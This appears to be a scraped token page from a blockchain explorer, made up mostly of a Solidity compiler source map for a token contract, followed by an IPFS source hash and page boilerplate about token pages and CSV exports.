-1:-1:-1;;;;;;15002:20:0;;::::1;::::0;-1:-1:-1;15064:5:0::1;::::0;15036:21:::1;::::0;14977:12;14994:80;14977:12;14994:80;15036:21;15002:20;15064:5;14994:80:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14976:98;;;15093:7;15085:50;;;::::0;-1:-1:-1;;;15085:50:0;;4586:2:1;15085:50:0::1;::::0;::::1;4568:21:1::0;4625:2;4605:18;;;4598:30;4664:32;4644:18;;;4637:60;4714:18;;15085:50:0::1;4384:354:1::0;15085:50:0::1;-1:-1:-1::0;;8260:6:0;:14;;-1:-1:-1;;8260:14:0;;;-1:-1:-1;;14270:873:0:o;12067:160::-;-1:-1:-1;;;;;12173:19:0;;12148:4;12173:19;;;:11;:19;;;;;;;;12172:20;:47;;;;-1:-1:-1;;;;;;;12197:22:0;;;;;:11;:22;;;;;;;;12196:23;;12067:160;-1:-1:-1;12067:160:0:o;12490:911::-;12576:7;12596:27;12626:61;12672:14;;12626:41;12637:29;12649:6;12656:9;12637:11;:29::i;:::-;12626:6;;:10;:41::i;:61::-;12596:91;;12698:27;12811:1;12800:8;;:12;12796:260;;;12851:52;12894:8;;12851:38;12875:13;;12851:19;:23;;:38;;;;:::i;:52::-;12937:16;;12829:74;;-1:-1:-1;12937:41:0;;12829:74;12937:20;:41::i;:::-;12918:16;:60;;;12998:46;;;9450:25:1;;;9506:2;9491:18;;9484:34;;;;12998:46:0;;9423:18:1;12998:46:0;;;;;;;12796:260;13090:29;13122:44;:19;13146;13122:23;:44::i;:::-;13218:4;13202:22;;;;:7;:22;;;;;;13090:76;;-1:-1:-1;13202:49:0;;13090:76;13202:26;:49::i;:::-;13193:4;13177:22;;;;:7;:22;;;;;:74;;;;-1:-1:-1;;;;;13269:75:0;;;13301:42;13321:21;13301:19;:42::i;:::-;13269:75;;160:25:1;;;148:2;133:18;13269:75:0;;;;;;;13362:31;:6;13373:19;13362:10;:31::i;:::-;13355:38;12490:911;-1:-1:-1;;;;;;;12490:911:0:o;3418:181::-;3476:7;;3508:5;3512:1;3508;:5;:::i;:::-;3496:17;;3537:1;3532;:6;;3524:46;;;;-1:-1:-1;;;3524:46:0;;9731:2:1;3524:46:0;;;9713:21:1;9770:2;9750:18;;;9743:30;9809:29;9789:18;;;9782:57;9856:18;;3524:46:0;9529:351:1;4349:345:0;4435:7;4537:12;4530:5;4522:28;;;;-1:-1:-1;;;4522:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4561:9:0;4573:5;4577:1;4573;:5;:::i;3607:136::-;3665:7;3692:43;3696:1;3699;3692:43;;;;;;;;;;;;;;;;;:3;:43::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:196::-;817:20;;-1:-1:-1;;;;;866:54:1;;856:65;;846:93;;935:1;932;925:12;846:93;749:196;;;:::o;950:254::-;1018:6;1026;1079:2;1067:9;1058:7;1054:23;1050:32;1047:52;;;1095:1;1092;1085:12;1047:52;1118:29;1137:9;1118:29;:::i;:::-;1108:39;1194:2;1179:18;;;;1166:32;;-1:-1:-1;;;950:254:1:o;1401:328::-;1478:6;1486;1494;1547:2;1535:9;1526:7;1522:23;1518:32;1515:52;;;1563:1;1560;1553:12;1515:52;1586:29;1605:9;1586:29;:::i;:::-;1576:39;;1634:38;1668:2;1657:9;1653:18;1634:38;:::i;:::-;1624:48;;1719:2;1708:9;1704:18;1691:32;1681:42;;1401:328;;;;;:::o;1734:180::-;1793:6;1846:2;1834:9;1825:7;1821:23;1817:32;1814:52;;;1862:1;1859;1852:12;1814:52;-1:-1:-1;1885:23:1;;1734:180;-1:-1:-1;1734:180:1:o;2339:186::-;2398:6;2451:2;2439:9;2430:7;2426:23;2422:32;2419:52;;;2467:1;2464;2457:12;2419:52;2490:29;2509:9;2490:29;:::i;2530:160::-;2595:20;;2651:13;;2644:21;2634:32;;2624:60;;2680:1;2677;2670:12;2695:254;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2860:29;2879:9;2860:29;:::i;:::-;2850:39;;2908:35;2939:2;2928:9;2924:18;2908:35;:::i;:::-;2898:45;;2695:254;;;;;:::o;2954:316::-;3025:6;3033;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3133:26;3149:9;3133:26;:::i;:::-;3123:36;;3206:2;3195:9;3191:18;3178:32;3168:42;;3229:35;3260:2;3249:9;3245:18;3229:35;:::i;:::-;3219:45;;2954:316;;;;;:::o;3275:260::-;3343:6;3351;3404:2;3392:9;3383:7;3379:23;3375:32;3372:52;;;3420:1;3417;3410:12;3372:52;3443:29;3462:9;3443:29;:::i;:::-;3433:39;;3491:38;3525:2;3514:9;3510:18;3491:38;:::i;3789:380::-;3868:1;3864:12;;;;3911;;;3932:61;;3986:4;3978:6;3974:17;3964:27;;3932:61;4039:2;4031:6;4028:14;4008:18;4005:38;4002:161;;4085:10;4080:3;4076:20;4073:1;4066:31;4120:4;4117:1;4110:15;4148:4;4145:1;4138:15;4002:161;;3789:380;;;:::o;5723:306::-;5811:6;5819;5827;5880:2;5868:9;5859:7;5855:23;5851:32;5848:52;;;5896:1;5893;5886:12;5848:52;5925:9;5919:16;5909:26;;5975:2;5964:9;5960:18;5954:25;5944:35;;6019:2;6008:9;6004:18;5998:25;5988:35;;5723:306;;;;;:::o;6441:127::-;6502:10;6497:3;6493:20;6490:1;6483:31;6533:4;6530:1;6523:15;6557:4;6554:1;6547:15;6573:128;6640:9;;;6661:11;;;6658:37;;;6675:18;;:::i;6706:125::-;6771:9;;;6792:10;;;6789:36;;;6805:18;;:::i;7184:168::-;7257:9;;;7288;;7305:15;;;7299:22;;7285:37;7275:71;;7326:18;;:::i;7357:217::-;7397:1;7423;7413:132;;7467:10;7462:3;7458:20;7455:1;7448:31;7502:4;7499:1;7492:15;7530:4;7527:1;7520:15;7413:132;-1:-1:-1;7559:9:1;;7357:217::o;8113:127::-;8174:10;8169:3;8165:20;8162:1;8155:31;8205:4;8202:1;8195:15;8229:4;8226:1;8219:15;8245:1026;8507:4;8555:3;8544:9;8540:19;8586:6;8575:9;8568:25;8612:2;8650:6;8645:2;8634:9;8630:18;8623:34;8693:3;8688:2;8677:9;8673:18;8666:31;8717:6;8752;8746:13;8783:6;8775;8768:22;8821:3;8810:9;8806:19;8799:26;;8860:2;8852:6;8848:15;8834:29;;8881:1;8891:218;8905:6;8902:1;8899:13;8891:218;;;8970:13;;-1:-1:-1;;;;;8966:62:1;8954:75;;9084:15;;;;9049:12;;;;8927:1;8920:9;8891:218;;;-1:-1:-1;;;;;;;9165:55:1;;;;9160:2;9145:18;;9138:83;-1:-1:-1;;;9252:3:1;9237:19;9230:35;9126:3;8245:1026;-1:-1:-1;;;8245:1026:1:o

Swarm Source

ipfs://16eeb99860e2186c16628d405310eee414cbfbc197d84a164cddc7a6a90854bf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.